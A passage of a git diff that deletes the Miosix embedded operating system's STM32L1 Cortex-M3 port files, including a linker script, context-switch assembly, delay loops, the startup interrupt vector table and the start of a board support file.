ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32l1/common/arch_settings.h b/miosix/arch/cortexM3_stm32l1/common/arch_settings.h deleted file mode 100644 index 9457c373d..000000000 --- a/miosix/arch/cortexM3_stm32l1/common/arch_settings.h +++ /dev/null @@ -1,56 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index c0795a8b3..000000000 --- a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,11 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#include "CMSIS/Device/ST/STM32L1xx/Include/stm32l1xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32L1xx/Include/system_stm32l1xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/delays.cpp deleted file mode 100644 index 4999c6a6d..000000000 --- a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifndef __CODE_IN_XRAM - - #ifdef SYSCLK_FREQ_16MHz - register const unsigned int count=4000; - #else - #warning "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability.cpp deleted file mode 100644 index a7edf886d..000000000 --- a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,120 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - miosix::Thread::IRQstackOverflowCheck(); - miosix::Scheduler::IRQfindNextThread(); -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVC_IRQn,3);//High priority for SVC (Max=0, min=15) - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability_impl.h deleted file mode 100644 index d938dcedc..000000000 --- a/miosix/arch/cortexM3_stm32l1/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,150 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/core/stage_1_boot.cpp deleted file mode 100644 index 3a5277349..000000000 --- a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/core/stage_1_boot.cpp +++ /dev/null @@ -1,284 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32l medium density devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - //The memcpy is usually enclosed in an #ifndef __ENABLE_XRAM, in other - //boards but in this case it is not, since the *_code_in_xram.ld linker - //script puts code in XRAM, but data in the internal one, so there's still - //the need to copy it in its final place - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) USB_HP_IRQHandler(); -void __attribute__((weak)) USB_LP_IRQHandler(); -void __attribute__((weak)) DAC_IRQHandler(); -void __attribute__((weak)) COMP_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) LCD_IRQHandler (); -void __attribute__((weak)) TIM9_IRQHandler(); -void __attribute__((weak)) TIM10_IRQHandler(); -void __attribute__((weak)) TIM11_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USB_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM6_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - USB_HP_IRQHandler, - USB_LP_IRQHandler, - DAC_IRQHandler, - COMP_IRQHandler, - EXTI9_5_IRQHandler, - LCD_IRQHandler , - TIM9_IRQHandler, - TIM10_IRQHandler, - TIM11_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - USB_FS_WKUP_IRQHandler, - TIM6_IRQHandler, - TIM7_IRQHandler, - 0, - 0, - 0, - 0, - 0, - reinterpret_cast(0xF108F85F) - /* This is for boot in RAM mode for STM32L devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak USB_HP_IRQHandler = Default_Handler -#pragma weak USB_LP_IRQHandler = Default_Handler -#pragma weak DAC_IRQHandler = Default_Handler -#pragma weak COMP_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak LCD_IRQHandler = Default_Handler -#pragma weak TIM9_IRQHandler = Default_Handler -#pragma weak TIM10_IRQHandler = Default_Handler -#pragma weak TIM11_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USB_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM6_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp deleted file mode 100644 index 057aa51e2..000000000 --- a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,205 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all GPIOs - RCC->AHBENR |= RCC_AHBENR_GPIOAEN - | RCC_AHBENR_GPIOBEN - | RCC_AHBENR_GPIOCEN - | RCC_AHBENR_GPIOHEN; - RCC_SYNC(); - //Port config (H=high, L=low, PU=pullup, PD=pulldown) - // | PORTA | PORTB | PORTC | PORTH | - //--+--------------+-------------+---------+---------+ - // 0| IN | IN PD | - | IN PD | - // 1| IN PU | IN PD | - | IN PD | - // 2| IN | IN PD | - | - | - // 3| IN PD | IN PD | - | - | - // 4| OUT H 10MHz | IN PD | - | - | - // 5| AF5 10MHz | IN PD | - | - | - // 6| AF5 10MHz | IN PD | - | - | - // 7| AF5 10MHz | IN PD | - | - | - // 8| OUT L 10MHz | IN PD | - | - | - // 9| AF7 400KHz | IN PD | - | - | - //10| AF7PU 400KHz | IN PD | - | - | - //11| IN PD | OUT L 10MHz | - | - | - //12| IN PD | OUT L 10MHz | - | - | - //13| OUT L 400KHz | OUT L 10MHz | IN PD | - | - //14| OUT H 400KHz | OUT L 10MHz | AF0 | - | - //15| OUT L 400KHz | OUT L 10MHz | AF0 | - | - - //Quirk: If the write to RCC->AHBENR to enable gpio clock gating is - //immediately followed to 